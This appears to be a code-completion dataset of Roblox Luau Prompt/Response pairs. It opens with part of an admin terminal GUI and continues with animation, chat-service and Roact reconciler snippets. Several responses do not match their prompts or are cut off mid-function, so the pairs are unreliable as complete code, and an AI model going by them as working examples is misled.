	local name = gui.Frame.Nameb
	local dragger = gui.Frame.Dragger
	local entry = gui.Entry

	local termLines = {}
	local localLines = {}
	local serverLines = {}
	local logsLines = {}
	local scriptLines = {}
	local errorLines = {}

	local function openLocal()
		localCont.Visible = true
		scriptCont.Visible = false
		logsCont.Visible = false
		termCont.Visible = false
		serverCont.Visible = false
		errorCont.Visible = false

		localTab.BackgroundTransparency = 0
		scriptTab.BackgroundTransparency = 0.5
		logsTab.BackgroundTransparency = 0.5
		termTab.BackgroundTransparency = 0.5
		serverTab.BackgroundTransparency = 0.5
		errorTab.BackgroundTransparency = 0.5
	end

	local function openScript()
		localCont.Visible = false
		scriptCont.Visible = true
		logsCont.Visible = false
		termCont.Visible = false
		serverCont.Visible = false
		errorCont.Visible = false

		localTab.BackgroundTransparency = 0.5
		scriptTab.BackgroundTransparency = 0
		logsTab.BackgroundTransparency = 0.5
		termTab.BackgroundTransparency = 0.5
		serverTab.BackgroundTransparency = 0.5
		errorTab.BackgroundTransparency = 0.5
	end

	local function openLogs()
		localCont.Visible = false
		scriptCont.Visible = false
		logsCont.Visible = true
		termCont.Visible = false
		serverCont.Visible = false
		errorCont.Visible = false

		localTab.BackgroundTransparency = 0.5
		scriptTab.BackgroundTransparency = 0.5
		logsTab.BackgroundTransparency = 0
		termTab.BackgroundTransparency = 0.5
		serverTab.BackgroundTransparency = 0.5
		errorTab.BackgroundTransparency = 0.5
	end

	local function openTerm()
		localCont.Visible = false
		scriptCont.Visible = false
		logsCont.Visible = false
		termCont.Visible = true
		serverCont.Visible = false
		errorCont.Visible = false

		localTab.BackgroundTransparency = 0.5
		scriptTab.BackgroundTransparency = 0.5
		logsTab.BackgroundTransparency = 0.5
		termTab.BackgroundTransparency = 0
		serverTab.BackgroundTransparency = 0.5
		errorTab.BackgroundTransparency = 0.5
	end

	local function openServer()
		localCont.Visible = false
		scriptCont.Visible = false
		logsCont.Visible = false
		termCont.Visible = false
		serverCont.Visible = true
		errorCont.Visible = false

		localTab.BackgroundTransparency = 0.5
		scriptTab.BackgroundTransparency = 0.5
		logsTab.BackgroundTransparency = 0.5
		termTab.BackgroundTransparency = 0.5
		serverTab.BackgroundTransparency = 0
		errorTab.BackgroundTransparency = 0.5
	end

	local function openErrors()
		localCont.Visible = false
		scriptCont.Visible = false
		logsCont.Visible = false
		termCont.Visible = false
		serverCont.Visible = false
		errorCont.Visible = true

		localTab.BackgroundTransparency = 0.5
		scriptTab.BackgroundTransparency = 0.5
		logsTab.BackgroundTransparency = 0.5
		termTab.BackgroundTransparency = 0.5
		serverTab.BackgroundTransparency = 0.5
		errorTab.BackgroundTransparency = 0
	end

	local function populate(cont,lines)
		cont:ClearAllChildren()

		local num = 0
		for i,v in next,lines do
			local new,text,color = entry:Clone()

			if type(v) == "table" then
				text = v.Text
				color = v.Color
			else
				text = tostring(v)
			end

			new.Visible = true
			new.Text = tostring(text)
			new.Position = UDim2.new(0,0,0,num*20)
			new.Parent = cont
			new.TextColor3 = color or new.TextColor3
			num = num+1
		end

		cont.CanvasSize = UDim2.new(0, 0, 0, (num*20))
		local glob = ((num*20) - cont.AbsoluteWindowSize.Y)
		if glob<0 then glob=0 end
		cont.CanvasPosition = Vector2.new(0,glob)
	end

	local function populateAll()
		populate(scriptCont,scriptLines)
		populate(logsCont,logsLines)
		populate(serverCont,serverLines)
		populate(termCont,termLines)
		populate(localCont,localLines)
		populate(errorCont,errorLines)
	end

	--name.Text = localplayer.userId.."@"..game.PlaceId.." ;/>"

	local function out(put,lines)
		table.insert(lines,put)
		if #lines>500 then
			table.remove(lines,1)
		end
	end

	local function formatOutput(tab)
		local new = {}
		for i,v in next,tab do
			if type(v) == "table" then
				local typ,color = v.messageType
				if typ == "Error" then
					color = Color3.new(1,0,0)
				elseif typ == "Info" then
					color = Color3.new(0,0,1)
				elseif typ == "Warning" then
					color = Color3.new(0,1,1)
				end

				table.insert(new,{
					Text = v.message;
					Color = color;
				})
			else
				table.insert(new,tostring(v))
			end
		end
		return new
	end

	local function formatLogs(tab)
		local new = {}
		for i,v in next,tab do
			if type(v) == "table" then
				table.insert(new,{
					Text = tostring(v.Text)..": "..tostring(v.Desc);
				})
			else
				table.insert(new,tostring(v))
			end
		end
		return new
	end

	service.Events.TerminalLive:connect(function(rData)
		local data = rData.Data
		local rType = rData.Type

		out(data,termLines)
		populate(termCont,termLines)
	end)

	local updater = service.StartLoop("TerminalLoop",1,function()
		service.Debounce("_TERMINAL_UPDATING",function()
			local data = client.Remote.Get("TerminalData")

			--termLines = data.Output
			serverLines = formatOutput(data.ServerLogs or {})
			logsLines = formatLogs(data.AdminLogs or {})
			scriptLines = formatLogs(data.ScriptLogs or {})
			errorLines = formatLogs(data.ErrorLogs or {})
			localLines = formatOutput(service.LogService:GetLogHistory() or {})

			--populate(termCont,termLines)
			populate(scriptCont,scriptLines)
			populate(logsCont,logsLines)
			populate(errorCont,errorLines)
			populate(serverCont,serverLines)
			populate(localCont,localLines)
		end)
	end,true)

	box.FocusLost:connect(function(enterPressed)
		service.Debounce("_TERMINAL_BOX_FOCUSLOST",function()
			wait(0.1)
			if enterPressed and box.Text~="" then
				local com = box.Text
				box.Text = ""
				out(">"..com,termLines)
				populate(termCont,termLines)
				local ret = client.Remote.Get("Terminal",com,{
					Time = tick();
				})
				if ret and type(ret) == "table" then
					for i,ent in next,ret do
						out(ent,termLines)
					end
					populate(termCont,termLines)
				end
				box:CaptureFocus()
				box.Text = ""
			end
		end)
	end)

	close.MouseButton1Click:connect(function()
		updater:Kill()
		client.Remote.Send("Session","Terminal",false)
		out("Disconnecting session...",termLines)
		populate(termCont,termLines)
		wait(0.5)
		gui:Destroy()
	end)

	localTab.MouseButton1Down:connect(openLocal)
	scriptTab.MouseButton1Down:connect(openScript)
	logsTab.MouseButton1Down:connect(openLogs)
	termTab.MouseButton1Down:connect(openTerm)
	serverTab.MouseButton1Down:connect(openServer)
	errorTab.MouseButton1Down:connect(openErrors)

	local mouse=service.Players.LocalPlayer:GetMouse()
	local nx,ny=frame.AbsoluteSize.X,frame.AbsoluteSize.Y--500,300
	local dragging=false
	local defx,defy=nx,ny
	mouse.Move:connect(function(x,y)
		if dragging then
			nx=defx+(dragger.Position.X.Offset+20)
			ny=defy+(dragger.Position.Y.Offset+20)
			if nx<300 then nx=300 end
			if ny<200 then ny=200 end
			frame.Size=UDim2.new(0, nx, 0, ny)
		end
	end)
	dragger.DragBegin:connect(function(init)
		dragging = true
		frame.Active = false
	end)
	dragger.DragStopped:connect(function(x,y)
		frame.Active = true
		dragging = false
		defx = nx
		defy = ny
		dragger.Position = UDim2.new(1,-20,1,-20)
		populateAll()
	end)

	populateAll()
	gTable:Ready()
end


Prompt: -- Preload animations

Response:
function playAnimation(animName, transitionTime, Zombie)
	local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
	if (animName ~= currentAnim and not idleFromEmote) then

		if (currentAnimTrack ~= nil) then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0
		local roll = math.random(1, animTable[animName].totalWeight)
		local origRoll = roll
		local idx = 1
		while (roll > animTable[animName][idx].weight) do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end


Prompt:
--[[
	-----------[ THEMES ]-----------

	- LIGHT THEME:
	  If you want the light theme version of the board,
	  replace line 1 with:

	  require(2925075326).Parent = script.Parent

	- DARK THEME:
	  If you want the dark theme version of the board,
	  replace line 1 with:

	  require(5799918029).Parent = script.Parent

	- RAINBOW THEME:
	  If you want the rainbow theme version of the board,
	  replace line 1 with:

	  require(6872314867).Parent = script.Parent

--]]


Prompt:
--[[**
	ensure value is an Instance and it's ClassName matches the given ClassName

	@param className The class name to check for

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.instanceOf(className, childTable)
	assert(t.string(className))

	local childrenCheck
	if childTable ~= nil then
		childrenCheck = t.children(childTable)
	end

	return function(value)
		local instanceSuccess, instanceErrMsg = t.Instance(value)
		if not instanceSuccess then
			return false, instanceErrMsg or ""
		end

		if value.ClassName ~= className then
			return false, string.format("%s expected, got %s", className, value.ClassName)
		end

		if childrenCheck then
			local childrenSuccess, childrenErrMsg = childrenCheck(value)
			if not childrenSuccess then
				return false, childrenErrMsg
			end
		end

		return true
	end
end

t.instance = t.instanceOf


Prompt: -- Represents any table.

Response: export type GenericTable = {[any]: any}


Prompt: -- NOTE: The Repeating Times, Reversing, And Delay Is OPTIONAL

Response:
local TweenGoals = {
	Rotation = 360
}

script.Parent.Parent.Parent.Sound:Play()
local create = TweenService:Create(script.Parent,TweeningInfo,TweenGoals)

while true do
	create:Play()
	task.wait()
	script.Parent.Rotation = 0
end


Prompt:
--------------------
--| Script Logic |--
--------------------

Response:
Tool.Equipped:Connect(OnEquipped)
Tool.Activated:Connect(OnActivated)


Prompt:
--[[
	The task.wait() calls below are placeholders for calling asynchronous functions
	that would load parts of your game.
--]]

Response:
local ContentProvider = game:GetService("ContentProvider")

local LoadingScreen = require(script.Parent.LoadingScreen)

local REQUIRED_ASSETS = {
	game.Workspace
}

LoadingScreen.enableAsync()
LoadingScreen.updateDetailText("Preloading important assets...")
ContentProvider:PreloadAsync(REQUIRED_ASSETS)
LoadingScreen.updateDetailText("Initializing...")
task.wait(1.5)
LoadingScreen.updateDetailText("Loading user data...")
task.wait(3)
LoadingScreen.updateDetailText("Spawning character...")
task.wait(3)
LoadingScreen.updateDetailText("Finishing up...")
task.wait(0.5)
LoadingScreen.disableAsync()


Prompt: --------AUDIENCE BACK LEFT--------

Response:
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)


Prompt: -- title macro item

Response:
local item = {}

function item:New(itemContainer, macroItem, pluginSettings, updatePluginSettings)
	itemContainer.TextLabel.Text = macroItem.Text

	function macroItem:UpdateText(text)
		itemContainer.TextLabel.Text = text
	end

	function macroItem:UpdateTheme(theme)
		itemContainer.TextLabel.TextColor3 = theme:GetColor(Enum.StudioStyleGuideColor.MainText)
	end
end

return item


Prompt: -- Map storing Player -> Blocked user Ids.

Response:
local BlockedUserIdsMap = {}

PlayersService.PlayerAdded:connect(function(newPlayer)
	for player, blockedUsers in pairs(BlockedUserIdsMap) do
		local speaker = ChatService:GetSpeaker(player.Name)
		if speaker then
			for i = 1, #blockedUsers do
				local blockedUserId = blockedUsers[i]
				if blockedUserId == newPlayer.UserId then
					speaker:AddMutedSpeaker(newPlayer.Name)
				end
			end
		end
	end
end)

PlayersService.PlayerRemoving:connect(function(removingPlayer)
	BlockedUserIdsMap[removingPlayer] = nil
end)

if FFlagUserChatAddServerSideChecks2 then
	EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList)
		if type(blockedUserIdsList) ~= "table" then
			return
		end

		local prunedBlockedUserIdsList = {}
		local speaker = ChatService:GetSpeaker(player.Name)
		if speaker then
			for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do
				if type(blockedUserIdsList[i]) == "number" then

					table.insert(prunedBlockedUserIdsList, blockedUserIdsList[i])

					local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
					if blockedPlayer then
						speaker:AddMutedSpeaker(blockedPlayer.Name)
					end
				end
			end

			-- We only want to store the first
			-- MAX_BLOCKED_SPEAKERS_PER_REQ number of ids as needed
			BlockedUserIdsMap[player] = prunedBlockedUserIdsList
		end
	end)
elseif FFlagUserChatAddServerSideChecks then
	EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList)
		if type(blockedUserIdsList) ~= "table" then
			return
		end

		BlockedUserIdsMap[player] = blockedUserIdsList
		local speaker = ChatService:GetSpeaker(player.Name)
		if speaker then
			for i = 1, math.min(#blockedUserIdsList, MAX_BLOCKED_SPEAKERS_PER_REQ) do
				if type(blockedUserIdsList[i]) == "number" then
					local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
					if blockedPlayer then
						speaker:AddMutedSpeaker(blockedPlayer.Name)
					end
				end
			end
		end
	end)
else
	EventFolder.SetBlockedUserIdsRequest.OnServerEvent:Connect(function(player, blockedUserIdsList)
		if type(blockedUserIdsList) ~= "table" then
			return
		end

		BlockedUserIdsMap[player] = blockedUserIdsList
		local speaker = ChatService:GetSpeaker(player.Name)
		if speaker then
			for i = 1, #blockedUserIdsList do
				if type(blockedUserIdsList[i]) == "number" then
					local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i])
					if blockedPlayer then
						speaker:AddMutedSpeaker(blockedPlayer.Name)
					end
				end
			end
		end
	end)
end

EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj)
	local speaker = ChatService:GetSpeaker(playerObj.Name)
	if not (speaker and speaker:GetPlayer()) then
		CreatePlayerSpeakerObject(playerObj)
		speaker = ChatService:GetSpeaker(playerObj.Name)
	end

	local data = {}
	data.Channels = {}
	data.SpeakerExtraData = {}

	for _, channelName in pairs(speaker:GetChannelList()) do
		local channelObj = ChatService:GetChannel(channelName)
		if (channelObj) then
			local channelData =
			{
				channelName,
				channelObj:GetWelcomeMessageForSpeaker(speaker),
				channelObj:GetHistoryLogForSpeaker(speaker),
				channelObj.ChannelNameColor,
			}

			table.insert(data.Channels, channelData)
		end
	end

	for _, oSpeakerName in pairs(ChatService:GetSpeakerList()) do
		local oSpeaker = ChatService:GetSpeaker(oSpeakerName)
		data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData
	end

	return data
end)

local function DoJoinCommand(speakerName, channelName, fromChannelName)
	local speaker = ChatService:GetSpeaker(speakerName)
	local channel = ChatService:GetChannel(channelName)

	if (speaker) then
		if (channel) then
			if (channel.Joinable) then
				if (not speaker:IsInChannel(channel.Name)) then
					speaker:JoinChannel(channel.Name)
				else
					speaker:SetMainChannel(channel.Name)
					local msg = ChatLocalization:FormatMessageToSend(
						"GameChat_SwitchChannel_NowInChannel",
						string.format("You are now chatting in channel: '%s'", channel.Name),
						"RBX_NAME",
						channel.Name)
					speaker:SendSystemMessage(msg, channel.Name)
				end
			else
				local msg = ChatLocalization:FormatMessageToSend(
					"GameChat_ChatServiceRunner_YouCannotJoinChannel",
					"You cannot join channel '" .. channelName .. "'.",
					"RBX_NAME",
					channelName)
				speaker:SendSystemMessage(msg, fromChannelName)
			end
		else
			local msg = ChatLocalization:FormatMessageToSend(
				"GameChat_ChatServiceRunner_ChannelDoesNotExist",
				"Channel '" .. channelName .. "' does not exist.",
				"RBX_NAME",
				channelName)
			speaker:SendSystemMessage(msg, fromChannelName)
		end
	end
end

local function DoLeaveCommand(speakerName, channelName, fromChannelName)
	local speaker = ChatService:GetSpeaker(speakerName)
	local channel = ChatService:GetChannel(channelName)

	if (speaker) then
		if (speaker:IsInChannel(channelName)) then
			if (channel.Leavable) then
				speaker:LeaveChannel(channel.Name)
				local msg = ChatLocalization:FormatMessageToSend(
					"GameChat_ChatService_YouHaveLeftChannel",
					string.format("You have left channel '%s'", channelName),
					"RBX_NAME",
					channel.Name)
				speaker:SendSystemMessage(msg, "System")
			else
				local msg = ChatLocalization:FormatMessageToSend(
					"GameChat_ChatServiceRunner_YouCannotLeaveChannel",
					("You cannot leave channel '" .. channelName .. "'."),
					"RBX_NAME",
					channelName)
				speaker:SendSystemMessage(msg, fromChannelName)
			end
		else
			local msg = ChatLocalization:FormatMessageToSend(
				"GameChat_ChatServiceRunner_YouAreNotInChannel",
				("You are not in channel '" .. channelName .. "'."),
				"RBX_NAME",
				channelName)
			speaker:SendSystemMessage(msg, fromChannelName)
		end
	end
end

ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel)
	if (string.sub(message, 1, 6):lower() == "/join ") then
		DoJoinCommand(fromSpeaker, string.sub(message, 7), channel)
		return true
	elseif (string.sub(message, 1, 3):lower() == "/j ") then
		DoJoinCommand(fromSpeaker, string.sub(message, 4), channel)
		return true
	elseif (string.sub(message, 1, 7):lower() == "/leave ") then
		DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel)
		return true
	elseif (string.sub(message, 1, 3):lower() == "/l ") then
		DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel)
		return true
	end

	return false
end)

if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then
	local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName)

	allChannel.Leavable = false
	allChannel.AutoJoin = true

	allChannel:RegisterGetWelcomeMessageFunction(function(speaker)
		if RunService:IsStudio() then
			return nil
		end
		local player = speaker:GetPlayer()
		if player then
			local success, canChat = pcall(function()
				return Chat:CanUserChatAsync(player.UserId)
			end)
			if success and not canChat then
				return ""
			end
		end
	end)
end

local systemChannel = ChatService:AddChannel("System")
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = ChatLocalization:FormatMessageToSend(
	"GameChat_ChatServiceRunner_SystemChannelWelcomeMessage", "This channel is for system and game notifications."
)

systemChannel.SpeakerJoined:connect(function(speakerName)
	systemChannel:MuteSpeaker(speakerName)
end)

local function TryRunModule(module)
	if module:IsA("ModuleScript") then
		local ret = require(module)
		if (type(ret) == "function") then
			ret(ChatService)
		end
	end
end

local modules = Chat:WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
	local success, returnval = pcall(TryRunModule, child)
	if not success and returnval then
		print("Error running module " ..child.Name.. ": " ..returnval)
	end
end)

for _, module in pairs(modules:GetChildren()) do
	local success, returnval = pcall(TryRunModule, module)
	if not success and returnval then
		print("Error running module " ..module.Name.. ": " ..returnval)
	end
end

PlayersService.PlayerRemoving:connect(function(playerObj)
	if (ChatService:GetSpeaker(playerObj.Name)) then
		ChatService:RemoveSpeaker(playerObj.Name)
	end
end)


Prompt:
--[[
	The reconciler is the mechanism in Roact that constructs the virtual tree
	that later gets turned into concrete objects by the renderer.

	Roact's reconciler is constructed with the renderer as an argument, which
	enables switching to different renderers for different platforms or
	scenarios.

	When testing the reconciler itself, it's common to use `NoopRenderer` with
	spies replacing some methods. The default (and only) reconciler interface
	exposed by Roact right now uses `RobloxRenderer`.
]]

Response:
local function createReconciler(renderer)
	local reconciler
	local mountVirtualNode
	local updateVirtualNode
	local unmountVirtualNode

	--[[
		Unmount the given virtualNode, replacing it with a new node described by
		the given element.

		Preserves host properties, depth, and legacyContext from parent.
	]]
	local function replaceVirtualNode(virtualNode, newElement)
		local hostParent = virtualNode.hostParent
		local hostKey = virtualNode.hostKey
		local depth = virtualNode.depth
		local parent = virtualNode.parent

		-- If the node that is being replaced has modified context, we need to
		-- use the original *unmodified* context for the new node
		-- The `originalContext` field will be nil if the context was unchanged
		local context = virtualNode.originalContext or virtualNode.context
		local parentLegacyContext = virtualNode.parentLegacyContext

		-- If updating this node has caused a component higher up the tree to re-render
		-- and updateChildren to be re-entered then this node could already have been
		-- unmounted in the previous updateChildren pass.
		if not virtualNode.wasUnmounted then
			unmountVirtualNode(virtualNode)
		end
		local newNode = mountVirtualNode(newElement, hostParent, hostKey, context, parentLegacyContext)

		-- mountVirtualNode can return nil if the element is a boolean
		if newNode ~= nil then
			newNode.depth = depth
			newNode.parent = parent
		end

		return newNode
	end

	--[[
		Utility to update the children of a virtual node based on zero or more
		updated children given as elements.
	]]
	local function updateChildren(virtualNode, hostParent, newChildElements)
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end

		virtualNode.updateChildrenCount = virtualNode.updateChildrenCount + 1

		local currentUpdateChildrenCount = virtualNode.updateChildrenCount

		local removeKeys = {}

		-- Changed or removed children
		for childKey, childNode in pairs(virtualNode.children) do
			local newElement = ElementUtils.getElementByKey(newChildElements, childKey)
			local newNode = updateVirtualNode(childNode, newElement)

			-- If updating this node has caused a component higher up the tree to re-render
			-- and updateChildren to be re-entered for this virtualNode then
			-- this result is invalid and needs to be disgarded.
			if virtualNode.updateChildrenCount ~= currentUpdateChildrenCount then
				if newNode and newNode ~= virtualNode.children[childKey] then
					unmountVirtualNode(newNode)
				end
				return
			end

			if newNode ~= nil then
				virtualNode.children[childKey] = newNode
			else
				removeKeys[childKey] = true
			end
		end

		for childKey in pairs(removeKeys) do
			virtualNode.children[childKey] = nil
		end

		-- Added children
		for childKey, newElement in ElementUtils.iterateElements(newChildElements) do
			local concreteKey = childKey
			if childKey == ElementUtils.UseParentKey then
				concreteKey = virtualNode.hostKey
			end

			if virtualNode.children[childKey] == nil then
				local childNode = mountVirtualNode(
					newElement,
					hostParent,
					concreteKey,
					virtualNode.context,
					virtualNode.legacyContext
				)

				-- If updating this node has caused a component higher up the tree to re-render
				-- and updateChildren to be re-entered for this virtualNode then
				-- this result is invalid and needs to be discarded.
				if virtualNode.updateChildrenCount ~= currentUpdateChildrenCount then
					if childNode then
						unmountVirtualNode(childNode)
					end
					return
				end

				-- mountVirtualNode can return nil if the element is a boolean
				if childNode ~= nil then
					childNode.depth = virtualNode.depth + 1
					childNode.parent = virtualNode
					virtualNode.children[childKey] = childNode
				end
			end
		end
	end

	local function updateVirtualNodeWithChildren(virtualNode, hostParent, newChildElements)
		updateChildren(virtualNode, hostParent, newChildElements)
	end

	local function updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)
		if Type.of(renderResult) == Type.Element or renderResult == nil or typeof(renderResult) == "boolean" then
			updateChildren(virtualNode, hostParent, renderResult)
		else
			error(
				("%s\n%s"):format(
					"Component returned invalid children:",
					virtualNode.currentElement.source or "<enable element tracebacks>"
				),
				0
			)
		end
	end

	--[[
		Unmounts the given virtual node and releases any held resources.
	]]
	function unmountVirtualNode(virtualNode)
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end

		virtualNode.wasUnmounted = true

		local kind = ElementKind.of(virtualNode.currentElement)

		-- selene: allow(if_same_then_else)
		if kind == ElementKind.Host then
			renderer.unmountHostNode(reconciler, virtualNode)
		elseif kind == ElementKind.Function then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		elseif kind == ElementKind.Stateful then
			virtualNode.instance:__unmount()
		elseif kind == ElementKind.Portal then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		elseif kind == ElementKind.Fragment then
			for _, childNode in pairs(virtualNode.children) do
				unmountVirtualNode(childNode)
			end
		else
			error(("Unknown ElementKind %q"):format(tostring(kind)), 2)
		end
	end

	local function updateFunctionVirtualNode(virtualNode, newElement)
		local children = newElement.component(newElement.props)

		updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)

		return virtualNode
	end

	local function updatePortalVirtualNode(virtualNode, newElement)
		local oldElement = virtualNode.currentElement
		local oldTargetHostParent = oldElement.props.target

		local targetHostParent = newElement.props.target

		assert(renderer.isHostObject(targetHostParent), "Expected target to be host object")

		if targetHostParent ~= oldTargetHostParent then
			return replaceVirtualNode(virtualNode, newElement)
		end

		local children = newElement.props[Children]

		updateVirtualNodeWithChildren(virtualNode, targetHostParent, children)

		return virtualNode
	end

	local function updateFragmentVirtualNode(virtualNode, newElement)
		updateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, newElement.elements)

		return virtualNode
	end

	--[[
		Update the given virtual node using a new element describing what it
		should transform into.

		`updateVirtualNode` will return a new virtual node that should replace
		the passed in virtual node. This is because a virtual node can be
		updated with an element referencing a different component!

		In that case, `updateVirtualNode` will unmount the input virtual node,
		mount a new virtual node, and return it in this case, while also issuing
		a warning to the user.
	]]
	function updateVirtualNode(virtualNode, newElement, newState: { [any]: any }?): { [any]: any }?
		if config.internalTypeChecks then
			internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #1 to be of type VirtualNode")
		end
		if config.typeChecks then
			assert(
				Type.of(newElement) == Type.Element or typeof(newElement) == "boolean" or newElement == nil,
				"Expected arg #2 to be of type Element, boolean, or nil"
			)
		end

		-- If nothing changed, we can skip this update
		if virtualNode.currentElement == newElement and newState == nil then
			return virtualNode
		end

		if typeof(newElement) == "boolean" or newElement == nil then
			unmountVirtualNode(virtualNode)
			return nil
		end

		if virtualNode.currentElement.component ~= newElement.component then
			return replaceVirtualNode(virtualNode, newElement)
		end

		local kind = ElementKind.of(newElement)

		local shouldContinueUpdate = true

		if kind == ElementKind.Host then
			virtualNode = renderer.updateHostNode(reconciler, virtualNode, newElement)
		elseif kind == ElementKind.Function then
			virtualNode = updateFunctionVirtualNode(virtualNode, newElement)
		elseif kind == ElementKind.Stateful then
			shouldContinueUpdate = virtualNode.instance:__update(newElement, newState)
		elseif kind == ElementKind.Portal then
			virtualNode = updatePortalVirtualNode(virtualNode, newElement)
		elseif kind == ElementKind.Fragment then
			virtualNode = updateFragmentVirtualNode(virtualNode, newElement)
		else
			error(("Unknown ElementKind %q"):format(tostring(kind)), 2)
		end

		-- Stateful components can abort updates via shouldUpdate. If that
		-- happens, we should stop doing stuff at this point.
		if not shouldContinueUpdate then
			return virtualNode
		end

		virtualNode.currentElement = newElement

		return virtualNode
	end

	--[[
		Constructs a new virtual node but not does mount it.
	]]
	local function createVirtualNode(element, hostParent, hostKey, context, legacyContext)
		if config.internalTypeChecks then
			internalAssert(
				renderer.isHostObject(hostParent) or hostParent == nil,
				"Expected arg #2 to be a host object"
			)
			internalAssert(typeof(context) == "table" or context == nil, "Expected arg #4 to be of type table or nil")
			internalAssert(
				typeof(legacyContext) == "table" or legacyContext == nil,
				"Expected arg #5 to be of type table or nil"
			)
		end
		if config.typeChecks then
			assert(hostKey ~= nil, "Expected arg #3 to be non-nil")
			assert(
				Type.of(element) == Type.Element or typeof(element) == "boolean",
				"Expected arg #1 to be of type Element or boolean"
			)
		end

		return {
			[Type] = Type.VirtualNode,
			currentElement = element,
			depth = 1,
			parent = nil,
			children = {},
			hostParent = hostParent,
			hostKey = hostKey,
			updateChildrenCount = 0,
			wasUnmounted = false,

			-- Legacy Context API
			-- A table of context values inherited from the parent node
			legacyContext = legacyContext,

			-- A saved copy of the parent context, used when replacing a node
			parentLegacyContext = legacyContext,

			-- Context API
			-- A table of context values inherited from the parent node
			context = context or {},

			-- A saved copy of the unmodified context; this will be updated when
			-- a component adds new context and used when a node is replaced
			originalContext = nil,
		}
	end

	local function mountFunctionVirtualNode(virtualNode)
		local element = virtualNode.currentElement

		local children = element.component(element.props)

		updateVirtualNodeWithRenderResult(virtualNode, virtualNode.hostParent, children)
	end

	local function mountPortalVirtualNode(virtualNode)
		local element = virtualNode.currentElement

		local targetHostParent = element.props.target
		local children = element.props[Children]

		assert(renderer.isHostObject(targetHostParent), "Expected target to be host object")

		updateVirtualNodeWithChildren(virtualNode, targetHostParent, children)
	end

	local function mountFragmentVirtualNode(virtualNode)
		local element = virtualNode.currentElement
		local children = element.elements

		updateVirtualNodeWithChildren(virtualNode, virtualNode.hostParent, children)
	end

	--[[
		Constructs a new virtual node and mounts it, but does not place it into
		the tree.
	]]
	function mountVirtualNode(element, hostParent, hostKey, context, legacyContext)
		if config.internalTypeChecks then
			internalAssert(
				renderer.isHostObject(hostParent) or hostParent == nil,
				"Expected arg #2 to be a host object"
			)
			internalAssert(
				typeof(legacyContext) == "table" or legacyContext == nil,
				"Expected arg #5 to be of type table or nil"
			)
		end
		if config.typeChecks then
			assert(hostKey ~= nil, "Expected arg #3 to be non-nil")
			assert(
				Type.of(element) == Type.Element or typeof(element) == "boolean",
				"Expected arg #1 to be of type Element or boolean"
			)
		end

		-- Boolean values render as nil to enable terse conditional rendering.
		if typeof(element) == "boolean" then
			return nil
		end

		local kind = ElementKind.of(element)

		local virtualNode = createVirtualNode(element, hostParent, hostKey, context, legacyContext)

		if kind == ElementKind.Host then
			renderer.mountHostNode(reconciler, virtualNode)
		elseif kind == ElementKind.Function then
			mountFunctionVirtualNode(virtualNode)
		elseif kind == ElementKind.Stateful then
			element.component:__mount(reconciler, virtualNode)
		elseif kind == ElementKind.Portal then
			mountPortalVirtualNode(virtualNode)
		elseif kind == ElementKind.Fragment then
			mountFragmentVirtualNode(virtualNode)
		else
			error(("Unknown ElementKind %q"):format(tostring(kind)), 2)
		end

		return virtualNode
	end

	--[[
		Constructs a new Roact virtual tree, constructs a root node for
		it, and mounts it.
	]]
	local function mountVirtualTree(element, hostParent, hostKey)
		if config.typeChecks then
			assert(Type.of(element) == Type.Element, "Expected arg #1 to be of type Element")
			assert(renderer.isHostObject(hostParent) or hostParent == nil, "Expected arg #2 to be a host object")
		end

		if hostKey == nil then
			hostKey = "RoactTree"
		end

		local tree = {
			[Type] = Type.VirtualTree,
			[InternalData] = {
				-- The root node of the tree, which starts into the hierarchy of
				-- Roact component instances.
				rootNode = nil,
				mounted = true,
			},
		}

		tree[InternalData].rootNode = mountVirtualNode(element, hostParent, hostKey)

		return tree
	end

	--[[
		Unmounts the virtual tree, freeing all of its resources.

		No further operations should be done on the tree after it's been
		unmounted, as indicated by its the `mounted` field.
	]]
	local function unmountVirtualTree(tree)
		local internalData = tree[InternalData]
		if config.typeChecks then
			assert(Type.of(tree) == Type.VirtualTree, "Expected arg #1 to be a Roact handle")
			assert(internalData.mounted, "Cannot unmounted a Roact tree that has already been unmounted")
		end

		internalData.mounted = false

		if internalData.rootNode ~= nil then
			unmountVirtualNode(internalData.rootNode)
		end
	end

	--[[
		Utility method for updating the root node of a virtual tree given a new
		element.
	]]
	local function updateVirtualTree(tree, newElement)
		local internalData = tree[InternalData]
		if config.typeChecks then
